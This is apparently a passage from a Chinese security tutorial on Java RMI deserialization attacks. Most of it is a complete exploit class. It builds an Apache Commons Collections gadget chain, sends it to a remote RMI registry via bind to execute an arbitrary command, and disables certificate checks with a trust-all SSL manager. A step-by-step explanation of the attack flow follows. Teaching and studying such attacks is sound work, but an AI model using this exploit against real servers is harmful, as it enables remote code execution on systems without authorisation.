RMI通信中所有的对象都是通过Java序列化传输的，在学习Java序列化机制的时候我们讲到只要有Java对象反序列化操作就有可能有漏洞。

    既然RMI使用了反序列化机制来传输Remote对象，那么可以通过构建一个恶意的Remote对象，这个对象经过序列化后传输到服务器端，服务器端在反序列化时候就会触发反序列化漏洞。

    首先我们依旧使用上述com.anbai.sec.rmi.RMIServerTest的代码，创建一个RMI服务，然后我们来构建一个恶意的Remote对象并通过bind请求发送给服务端。
    RMI客户端反序列化攻击示例代码：

    1. package com.anbai.sec.rmi;
    3. import org.apache.commons.collections.Transformer;
    4. import org.apache.commons.collections.functors.ChainedTransformer;
    5. import org.apache.commons.collections.functors.ConstantTransformer;
    6. import org.apache.commons.collections.functors.InvokerTransformer;
    7. import org.apache.commons.collections.map.LazyMap;
    9. import javax.net.ssl.SSLContext;
    10. import javax.net.ssl.SSLSocketFactory;
    11. import javax.net.ssl.TrustManager;
    12. import javax.net.ssl.X509TrustManager;
    13. import java.io.IOException;
    14. import java.lang.reflect.Constructor;
    15. import java.lang.reflect.InvocationHandler;
    16. import java.lang.reflect.Proxy;
    17. import java.net.Socket;
    18. import java.rmi.ConnectIOException;
    19. import java.rmi.Remote;
    20. import java.rmi.registry.LocateRegistry;
    21. import java.rmi.registry.Registry;
    22. import java.rmi.server.RMIClientSocketFactory;
    23. import java.security.cert.X509Certificate;
    24. import java.util.HashMap;
    25. import java.util.Map;
    27. import static com.anbai.sec.rmi.RMIServerTest.RMI_HOST;
    28. import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;
    30. /**
    31.  * RMI反序列化漏洞利用，修改自ysoserial的RMIRegistryExploit：https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/RMIRegistryExploit.java
    32.  *
    33.  * @author yz
    34.  */
    35. public class RMIExploit {
    37.    // 定义AnnotationInvocationHandler类常量
    38.    public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
    40.    /**
    41.     * 信任SSL证书
    42.     */
    43.    private static class TrustAllSSL implements X509TrustManager {
    45.       private static final X509Certificate[] ANY_CA = {};
    47.       public X509Certificate[] getAcceptedIssuers() {
    48.          return ANY_CA;
    49.       }
    51.       public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
    53.       public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
    55.    }
    57.    /**
    58.     * 创建支持SSL的RMI客户端
    59.     */
    60.    private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
    62.       public Socket createSocket(String host, int port) throws IOException {
    63.          try {
    64.             // 获取SSLContext对象
    65.             SSLContext ctx = SSLContext.getInstance("TLS");
    67.             // 默认信任服务器端SSL
    68.             ctx.init(null, new TrustManager[]{new TrustAllSSL()}, null);
    70.             // 获取SSL Socket连接工厂
    71.             SSLSocketFactory factory = ctx.getSocketFactory();
    73.             // 创建SSL连接
    74.             return factory.createSocket(host, port);
    75.          } catch (Exception e) {
    76.             throw new IOException(e);
    77.          }
    78.       }
    79.    }
    81.    /**
    82.     * 使用动态代理生成基于InvokerTransformer/LazyMap的Payload
    83.     *
    84.     * @param command 定义需要执行的CMD
    85.     * @return Payload
    86.     * @throws Exception 生成Payload异常
    87.     */
    88.    private static InvocationHandler genPayload(String command) throws Exception {
    89.       // 创建Runtime.getRuntime.exec(cmd)调用链
    90.       Transformer[] transformers = new Transformer[]{
    91.             new ConstantTransformer(Runtime.class),
    92.             new InvokerTransformer("getMethod", new Class[]{
    93.                   String.class, Class[].class}, new Object[]{
    94.                   "getRuntime", new Class[0]}
    95.             ),
    96.             new InvokerTransformer("invoke", new Class[]{
    97.                   Object.class, Object[].class}, new Object[]{
    98.                   null, new Object[0]}
    99.             ),
    100.             new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
    101.       };
    103.       // 创建ChainedTransformer调用链对象
    104.       Transformer transformerChain = new ChainedTransformer(transformers);
    106.       // 使用LazyMap创建一个含有恶意调用链的Transformer类的Map对象
    107.       final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
    109.       // 获取AnnotationInvocationHandler类对象
    110.       Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);
    112.       // 获取AnnotationInvocationHandler类的构造方法
    113.       Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    115.       // 设置构造方法的访问权限
    116.       constructor.setAccessible(true);
    118.       // 实例化AnnotationInvocationHandler，
    119.       // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, lazyMap);
    120.       InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
    122.       // 使用动态代理创建出Map类型的Payload
    123.       final Map mapProxy2 = (Map) Proxy.newProxyInstance(
    124.             ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, annHandler
    125.       );
    127.       // 实例化AnnotationInvocationHandler，
    128.       // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, mapProxy2);
    129.       return (InvocationHandler) constructor.newInstance(Override.class, mapProxy2);
    130.    }
    132.    /**
    133.     * 执行Payload
    134.     *
    135.     * @param registry RMI Registry
    136.     * @param command  需要执行的命令
    137.     * @throws Exception Payload执行异常
    138.     */
    139.    public static void exploit(final Registry registry, final String command) throws Exception {
    140.       // 生成Payload动态代理对象
    141.       Object payload = genPayload(command);
    142.       String name    = "test" + System.nanoTime();
    144.       // 创建一个含有Payload的恶意map
    145.       Map<String, Object> map = new HashMap();
    146.       map.put(name, payload);
    148.       // 获取AnnotationInvocationHandler类对象
    149.       Class clazz = Class.forName(ANN_INV_HANDLER_CLASS);
    151.       // 获取AnnotationInvocationHandler类的构造方法
    152.       Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
    154.       // 设置构造方法的访问权限
    155.       constructor.setAccessible(true);
    157.       // 实例化AnnotationInvocationHandler，
    158.       // 等价于: InvocationHandler annHandler = new AnnotationInvocationHandler(Override.class, map);
    159.       InvocationHandler annHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
    161.       // 使用动态代理创建出Remote类型的Payload
    162.       Remote remote = (Remote) Proxy.newProxyInstance(
    163.             ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, annHandler
    164.       );
    166.       try {
    167.          // 发送Payload
    168.          registry.bind(name, remote);
    169.       } catch (Throwable e) {
    170.          e.printStackTrace();
    171.       }
    172.    }
    174.    public static void main(String[] args) throws Exception {
    175.       if (args.length == 0) {
    176.          // 如果不指定连接参数默认连接本地RMI服务
    177.          args = new String[]{RMI_HOST, String.valueOf(RMI_PORT), "open -a Calculator.app"};
    178.       }
    180.       // 远程RMI服务IP
    181.       final String host = args[0];
    183.       // 远程RMI服务端口
    184.       final int port = Integer.parseInt(args[1]);
    186.       // 需要执行的系统命令
    187.       final String command = args[2];
    189.       // 获取远程Registry对象的引用
    190.       Registry registry = LocateRegistry.getRegistry(host, port);
    192.       try {
    193.          // 获取RMI服务注册列表(主要是为了测试RMI连接是否正常)
    194.          String[] regs = registry.list();
    196.          for (String reg : regs) {
    197.             System.out.println("RMI:" + reg);
    198.          }
    199.       } catch (ConnectIOException ex) {
    200.          // 如果连接异常尝试使用SSL建立SSL连接,忽略证书信任错误，默认信任SSL证书
    201.          registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
    202.       }
    204.       // 执行payload
    205.       exploit(registry, command);
    206.    }
    208. }

    程序执行后将会在RMI服务端弹出计算器(仅Mac系统，Windows自行修改命令为calc)，RMIExploit程序执行的流程大致如下：

    1. 使用LocateRegistry.getRegistry(host, port)创建一个RemoteStub对象。
    2. 构建一个适用于Apache Commons Collections的恶意反序列化对象(使用的是LazyMap+AnnotationInvocationHandler组合方式)。
    3. 使用RemoteStub调用RMI服务端的bind指令，并传入一个使用动态代理创建出来的Remote类型的恶意AnnotationInvocationHandler对象到RMI服务端。
    4. RMI服务端接受到bind请求后会反序列化我们构建的恶意Remote对象从而触发Apache Commons Collections漏洞的RCE。

    RMI客户端端bind序列化：
    3. RMI反序列化漏洞 - 图1

    上图可以看到我们构建的恶意Remote对象会通过RemoteCall序列化然后通过RemoteRef发送到远程的RMI服务端。
    RMI服务端bind反序列化：
    **3. RMI反序列化漏洞 - 图2
    具体的实现代码在：sun.rmi.registry.RegistryImpl_Skel类的dispatch方法，其中的$param_Remote_2就是我们RMIExploit传入的恶意Remote的序列化对象。